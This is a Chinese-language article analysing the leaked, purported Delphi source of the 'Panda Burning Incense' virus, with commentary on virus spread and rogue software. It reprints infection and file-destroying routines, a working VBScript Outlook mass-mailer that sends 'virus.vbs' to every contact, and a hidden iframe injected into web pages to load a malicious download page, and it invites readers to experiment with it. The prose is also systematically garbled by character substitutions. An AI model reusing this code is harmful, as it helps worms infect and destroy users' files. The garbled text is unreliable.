“熊猫烧香”源码启示录

随着“熊猫烧香”病毒的始做俑者的落网,关于“熊猫烧香”病毒的危害和杀毒风波告一段落,然而随着“熊猫烧香”病毒源代码在网上的流行,一种隐含的巨大的危害仿佛才刚刚开始。
  
1、 引言

    去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是做为衣食百姓发自心里的心愿!但现在,正待举国上下、一家老少庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。

试问这位仁兄:你到底想干什么?

                              

图1.“熊猫烧香”病毒感染可执行文件后的文件图标。

    在短短一个月时间里,“熊猫烧香”做者屡次发布更新版的变种病毒,每一次都针对之前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为何要如此辛劳地研制病毒程序呢?本人十分赞成一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒做者可借此牟利……”。

      最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具均可以轻易得到(本人也是如此取得的代码)。粗略分析该代码后,咱们注意到:该病毒在感染至日文操做系统时破坏性尤甚,但对其它语言Windows也形成了严重破坏。

    本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”做进一步分析,并阐述本身的几点见解。
2、 “熊猫烧香”病毒“源码”浅析

(一) 主程序段分析

  原“熊猫烧香”病毒“源码”主程序段代码以下所示:

{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//若是是原始病毒体本身
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工做
begin
TmpFile := ParamStr(0); //建立临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
    ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //建立新进程运行之……....Line n+7
    InfectFiles; //感染和发邮件
end;
end.

稍加分析,咱们不难绘出其相应的执行流程(如图2):

  
                      图2.主程序流程图。

对于代码:

    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

    虽然源码提供者省略了相应实现,但这是比较基本的编程实现。经过把自身注册为服务进程,可使本身随着系统的启动一块儿启动。固然,还能够进一步施加技巧而使本身从Windows任务管理器下隐藏显示。

而后,上面代码在判断当前操做系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后屡次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。现在,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片段,故在再也不赘述。那么,它(包括其它许多病毒)为何要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并非一回事!)进程在Windows系统中举足轻重—Windows在启动过程当中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会致使Windows图形界面没法适用。注:这并非说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面没法再用,而对于普通用户也感受到好象没法再使用Windows了。

另注:VCL函数Paramstr(n)的做用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。

    所以,上面代码中从第n行到第n+7行的做用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要假装手段之一:不是一会儿使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另外一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。

    接下来,让咱们深刻分析上面流程中“InfectFiles(感染文件)”部分的执行过程。
(二) 具体感染文件的过程

这个子过程的源码以下所示:

{遍历磁盘上全部的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操做系统。函数GetACP用于检索系统所用语言
IsJap := True; //去死吧!
DriverList := GetDrives; //获得可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每一个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
    SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒经常使用简单诈骗术之一
end;
end;{ === InfectFiles }

这里的核心是后面的死循环。先让咱们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程当中,它会取得安装在本机中的经常使用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,而后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:

Set objOA=Wscript.CreateObject("Outlook.Application")
'建立一个OUTLOOK应用的对象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空间
For i=1 to objMapi.AddressLists.Count
'遍历地址簿
  Set objAddList=objMapi.AddressLists(i)
  For j=1 To objAddList. AddressEntries.Count
    Set objMail=objOA.CreateItem (0)
    objMail.Recipients.Add (objAddList. AddressEntries (j))
    '取得收件人邮件地址
    objMail.Subject="你好!"
    '设置邮件主题
    objMail.Body="此次给你的附件,是个人新文档!"
    '设置信件内容
    objMail.Attachments.Add(“c:/virus.vbs")
    '把本身做为附件扩散出去
    objMail.Send
    '发送邮件
  Next
Next
Set objMapi=Nothing
Set objOA=Nothing

注意,这段代码是很是基本的使用VBScript脚本操做Outlook COM对象,并进而达到经过编程方式操做Outlook发送特定邮件的编程技术。其中,最关键的一句在于:  

objMail.Attachments.Add(“c: / virus.vbs "


   在此,任何一名病毒制做者均可以把这个附件文件名修改成新病毒文件自身!


(三) LoopFiles子过程分析

这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片段:

{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是不是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引发怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
        begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的全部用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
        begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
        begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
        begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操做系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              ……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率太高引发怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
  FreeAndNil(SubDir);
end;

此子过程是典型的遍历本机中全部可用盘中的全部子目录下的全部文件并施行相应操做的编码。既如此,那么让咱们从Line X开始分析。在肯定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。接下来,若是文件为某些网页(扩展名为.HTM、.HTML和.ASP),则继续感染这些网页文件—在网页最后加入相似以下的代码段(本代码摘自某君对一种“熊猫病毒”变体的分析结果):

<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>

因而,用户在启动此网页时,便可把URL导航到本身指定的网址(注:读者试验时不妨修改一下其中的URL,还有width和height等参数,效果会更明显)。接下来,程序进一步判断若是当前文件是电子邮件客户端程序相应的邮件地址数据文件,则取得这些地址信息。虽然此处没有说明如何使用它们,但根据普通蠕虫病毒特征,应该是把带有自身(病毒体)的邮件发送到这些邮件地址,进而达到利用网络传播自身的目的。奇怪的是,等程序执行(判断)到语句“if IsJap then”处—此时已经对知足前面特征的文件执行完相应的感染或传播—才判断操做系统是否为日文版本。若是是,则对另一些常见文件类型(.DOC、.XLS、.MDB…….AVI)进行完全破坏(调用过程SmashFile完全摧毁文件)。看起来,这位“烧香”仁兄也是一位“爱国主义”分子。只惋惜,在“打倒日本帝国主义”以前,你的广大同胞已经被“焚得焦头烂额”了。

3、 “熊猫烧香”源码告诉咱们什么?

(一)病毒的编写变得相对愈来愈容易

    记得本人92年刚从学校毕业时,要想深刻学习一点DOS内核编程技术,不得不费神“远程邮寄”参考书。而现在的互联网上黑客教程遍地:XX黑客教程,XX破解教程,各类流行程序漏洞扫描教程……国内的,国外的,应有尽有。另外一方面,微机早已进入普通家庭,这对各类计算机技术的普及也起到巨大的推进做用。全部这些极大地推进了病毒编写技术的传播,乃至于几乎人人都能写点病毒,但因为软件编码特有的“细活”之特性,使得很多学习粗心者“无心插柳柳成荫”。

(二)病毒的传播愈来愈容易

在上面的代码中,咱们注意到以下几点:第一,程序遍历磁盘上邮件地址库把本身做为电子邮件附件发送出去;第二,病毒感染网页文件(简单地在网页最后加入一小段代码),导致当前打开此网页时即激活病毒体。这些“做战”手段借助于普遍普及的因特网几乎是一蹴而就的事情。于是,从这种角度讲,病毒的传播已变得愈来愈容易。

(三)病毒代码传播的两面性

现在回趟沂蒙老家,在普通农庄以ADSL上网已成趋势,并且这种趋势可能较之于有线电视传播更为迅速。似本文“熊猫烧香”病毒“源代码”,其效能如同前面所提之各大“教程”;从其正面看,将极大地推进软件技术的发展和广大软件爱好者的研制技术;但从其消极面看,对于想制造病毒的人来讲,也有至关的技术参考价值。只要稍试修改,不少“好事者”均可以藉此制造出病毒变种,说不定哪天又来个“鼠年喊打鼠”,“牛年喊杀牛”。

    总之,网络是把双刃,或者说技术是把双刃剑,这在计算机软件业已获得最充分的认证!于此,做者也不禁得灵光一现:若是说“护花使者”类软件在国内外极受广你们长用户的欢迎,那么,研究一款辅助警方缉拿这等网络犯罪的共享软件,也一定受宠(说起此,咱们不禁得再发感叹:也许仍是国人软件法不健全,抑或是另有苦衷?网络犯罪岂是来无影去无踪般神话?)。各位仁君不妨一试。

(四)“流氓软件” 离病毒仅一步之遥

    且看中国互联网协会公布的流氓软件官方定义:

   恶意软件定义:是指在未明确提示用户或未经用户许可的状况下,在用户计算机或其余终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。其具体特征包括:强制安装、难以卸载、浏览器劫持、广告弹出、恶意收集用户信息、恶意卸载、恶意捆绑以及其余侵犯用户知情权、选择权的恶意行为。

本人从网上也看到此“熊猫烧香”病毒做者留言的病毒制做“动机”,但从该病毒其它版本频繁从后台启动国外指定网页的行为来看,确有其明确的商业动机。中国软件市场之混乱,犹如计算机病毒之“毒瘤”,改革开放之“腐败”毒瘤,不治将恐甚。所以,从最近“熊猫烧香”新版的“金猪闹春”发展势头来看,纵使该做者在论坛上透露将终止继续研发新版本,但国软市场之混乱加上有其巨大的商业利益驱动,他岂能就此罢手?

    现在,网上大批特批“流氓软件”,“灰色软件”。请问:这样的日子什么时候是个尽头?恕在下直言,若是不从根本上整顿国软市场之混乱局面,相似这种在网上疯传的“熊猫烧香”之“源码”必使“灰色软件”愈灰,“流氓软件”之愈流氓!

4、 小结     现在网上流传的“熊猫烧香源码”,不禁得不引起人们无尽的思考。我想,联系中国特点的软件市场来认识这样的问题彷佛更为合适。“熊猫”、“烧香”原本各自是美好事物和良好祝福的象征,如今却不禁得不使人心焦。权当本文系在下之胡言乱语。最后,谨祝各位:金猪之年财运望,发良财,发洋财,而不是发横财!